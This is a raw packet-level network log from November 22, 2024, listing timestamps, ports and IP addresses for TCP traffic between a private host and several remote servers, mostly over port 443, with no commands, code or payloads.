Nov 22, 2024 14:43:30.741686106 CET	49743	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.741744995 CET	443	49743	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.741951942 CET	49743	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.742079020 CET	49743	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.742095947 CET	443	49743	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.774604082 CET	443	49741	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.774683952 CET	443	49741	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.774754047 CET	49741	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.774950027 CET	49741	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.774969101 CET	443	49741	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.774992943 CET	49741	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.775000095 CET	443	49741	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.777707100 CET	49744	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.777734995 CET	443	49744	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.777842045 CET	49744	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.778043032 CET	49744	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.778062105 CET	443	49744	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.789123058 CET	443	49740	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.789184093 CET	443	49740	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.789230108 CET	49740	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.789330959 CET	49740	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.789343119 CET	443	49740	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.789352894 CET	49740	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.789357901 CET	443	49740	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.791676998 CET	49745	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.791707039 CET	443	49745	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.791774035 CET	49745	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.791929960 CET	49745	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.791945934 CET	443	49745	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.922302008 CET	443	49739	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.922380924 CET	443	49739	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.922518015 CET	49739	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.931087971 CET	49739	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.931107044 CET	443	49739	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.931139946 CET	49739	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.931145906 CET	443	49739	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.982665062 CET	49746	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.982697964 CET	443	49746	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:30.982825994 CET	49746	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.983026981 CET	49746	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:30.983041048 CET	443	49746	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:31.147038937 CET	443	49742	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:31.147106886 CET	443	49742	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:31.147171021 CET	49742	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:31.152230024 CET	49742	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:31.152239084 CET	443	49742	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:31.152256012 CET	49742	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:31.152261972 CET	443	49742	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:31.161520958 CET	49747	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:31.161557913 CET	443	49747	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:31.161633968 CET	49747	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:31.170239925 CET	49747	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:31.170254946 CET	443	49747	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.338465929 CET	49749	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:32.338510036 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:32.338581085 CET	49749	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:32.338624001 CET	49750	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:32.338680029 CET	443	49750	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:32.338820934 CET	49750	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:32.340259075 CET	49750	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:32.340284109 CET	443	49750	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:32.340513945 CET	49749	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:32.340528965 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:32.355537891 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:32.355552912 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:32.355644941 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:32.355892897 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:32.355909109 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:32.409456968 CET	49754	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:32.409518957 CET	443	49754	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:32.409605026 CET	49754	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:32.409830093 CET	49754	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:32.409842968 CET	443	49754	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:32.510155916 CET	443	49745	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.511630058 CET	49745	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.511637926 CET	443	49745	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.512373924 CET	49745	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.512377977 CET	443	49745	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.514235020 CET	443	49744	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.514880896 CET	49744	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.514898062 CET	443	49744	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.515608072 CET	49744	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.515613079 CET	443	49744	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.601258039 CET	443	49743	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.602278948 CET	49743	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.602278948 CET	49743	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.602300882 CET	443	49743	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.602314949 CET	443	49743	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.775232077 CET	443	49746	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.775729895 CET	49746	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.775770903 CET	443	49746	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.776257038 CET	49746	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.776262999 CET	443	49746	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.948658943 CET	443	49744	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.948822021 CET	443	49744	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.948884964 CET	49744	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.949001074 CET	49744	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.949018002 CET	443	49744	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.949028015 CET	49744	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.949033976 CET	443	49744	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.949233055 CET	443	49745	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.949307919 CET	443	49745	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.949485064 CET	49745	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.949572086 CET	49745	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.949577093 CET	443	49745	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.949588060 CET	49745	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.949593067 CET	443	49745	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.952439070 CET	49757	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.952495098 CET	443	49757	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.952598095 CET	49757	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.952754021 CET	49757	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.952780008 CET	443	49757	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.952800035 CET	49758	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.952827930 CET	443	49758	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.952884912 CET	49758	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.953015089 CET	49758	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:32.953028917 CET	443	49758	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:32.992494106 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:32.992532015 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:32.992854118 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:32.994663000 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:32.994695902 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:33.031111956 CET	443	49747	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.031697989 CET	49747	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.031708002 CET	443	49747	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.032332897 CET	49747	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.032337904 CET	443	49747	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.057080984 CET	443	49743	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.057149887 CET	443	49743	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.057204962 CET	49743	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.057413101 CET	49743	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.057430983 CET	443	49743	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.057441950 CET	49743	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.057447910 CET	443	49743	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.061125994 CET	49760	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.061166048 CET	443	49760	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.061304092 CET	49760	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.061543941 CET	49760	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.061553955 CET	443	49760	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.221755028 CET	443	49746	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.221951008 CET	443	49746	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.222275972 CET	49746	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.222388029 CET	49746	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.222414017 CET	443	49746	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.222426891 CET	49746	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.222434998 CET	443	49746	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.227761984 CET	49762	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.227817059 CET	443	49762	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.228044033 CET	49762	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.228328943 CET	49762	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.228352070 CET	443	49762	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.804456949 CET	443	49747	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.804524899 CET	443	49747	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.804797888 CET	49747	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.804852009 CET	49747	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.804852009 CET	49747	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.804864883 CET	443	49747	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.804872990 CET	443	49747	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.808257103 CET	49763	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.808278084 CET	443	49763	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:33.808476925 CET	49763	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.808696985 CET	49763	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:33.808712006 CET	443	49763	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:34.037552118 CET	443	49750	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.037636995 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.037903070 CET	49750	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.037930012 CET	443	49750	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.038078070 CET	49749	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.038098097 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.039011955 CET	443	49750	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.039097071 CET	49750	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.039134979 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.039191008 CET	49749	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.040441990 CET	49749	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.040507078 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.040621042 CET	49750	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.040688992 CET	443	49750	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.040755033 CET	49749	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.040767908 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.040859938 CET	49750	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.040869951 CET	443	49750	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.082345009 CET	49749	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.082360983 CET	49750	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.143246889 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.143538952 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.143558979 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.144618988 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.144685984 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.145035982 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.145103931 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.145605087 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.145616055 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.149364948 CET	443	49754	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.149588108 CET	49754	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.149597883 CET	443	49754	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.150664091 CET	443	49754	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.150799990 CET	49754	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.151462078 CET	49754	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.151532888 CET	443	49754	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.151623011 CET	49754	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.186336040 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:34.186398983 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:34.192009926 CET	49754	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.192033052 CET	443	49754	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.192027092 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.238900900 CET	49754	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.452614069 CET	49750	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.452743053 CET	443	49750	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.452940941 CET	443	49750	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.452999115 CET	49750	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.672254086 CET	443	49758	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:34.672889948 CET	49758	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:34.672923088 CET	443	49758	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:34.673412085 CET	49758	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:34.673418045 CET	443	49758	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:34.715410948 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:34.715512037 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:34.723886967 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:34.723908901 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:34.724298000 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:34.740312099 CET	443	49757	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:34.759738922 CET	49757	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:34.759803057 CET	443	49757	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:34.760297060 CET	49757	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:34.760310888 CET	443	49757	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:34.769761086 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:34.782100916 CET	443	49760	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:34.784890890 CET	49760	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:34.784907103 CET	443	49760	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:34.785881996 CET	49760	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:34.785888910 CET	443	49760	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:34.818614960 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:34.863334894 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:34.983931065 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.983985901 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.984021902 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.984051943 CET	49749	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.984082937 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.984127045 CET	49749	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.984133959 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.984170914 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:34.984220982 CET	49749	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.986428022 CET	49749	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:34.986444950 CET	443	49749	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.016189098 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.016247988 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.016282082 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.016334057 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.016338110 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.016382933 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.016400099 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.020529032 CET	443	49754	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.020661116 CET	443	49754	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.020786047 CET	49754	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.021478891 CET	49754	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.021495104 CET	443	49754	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.029105902 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.029145002 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.029170990 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.029191971 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.029256105 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.039532900 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.046072006 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.046142101 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.046164989 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.096780062 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.113886118 CET	443	49758	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.113953114 CET	443	49758	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.114023924 CET	49758	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.114698887 CET	49758	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.114722967 CET	443	49758	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.118483067 CET	49766	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.118520975 CET	443	49766	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.118617058 CET	49766	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.118760109 CET	49766	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.118771076 CET	443	49766	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.135397911 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.176577091 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.188925982 CET	443	49757	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.189044952 CET	443	49757	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.189124107 CET	49757	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.189291954 CET	49757	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.189311981 CET	443	49757	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.189332962 CET	49757	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.189341068 CET	443	49757	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.192811012 CET	49767	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.192838907 CET	443	49767	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.193100929 CET	49767	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.193308115 CET	49767	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.193320036 CET	443	49767	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.202692032 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.218378067 CET	443	49760	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.218477964 CET	443	49760	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.218528986 CET	49760	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.218734980 CET	49760	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.218755007 CET	443	49760	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.218766928 CET	49760	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.218771935 CET	443	49760	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.221885920 CET	49768	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.221918106 CET	443	49768	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.222103119 CET	49768	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.222300053 CET	49768	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.222322941 CET	443	49768	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.226106882 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.226167917 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.226206064 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.229852915 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.229902029 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.229912043 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.237334967 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.237385988 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.237396002 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.251230001 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.251281977 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.251292944 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.259712934 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.259871006 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.259881020 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.268332958 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.268383980 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.268393993 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.280877113 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.280973911 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.280985117 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.295449018 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.295500994 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.295512915 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.307327986 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.307411909 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.307421923 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.316773891 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.316845894 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.316860914 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.330339909 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.330414057 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.330425024 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.379947901 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.379964113 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.393438101 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:35.393471956 CET	443	49759	20.109.210.53	192.168.2.6
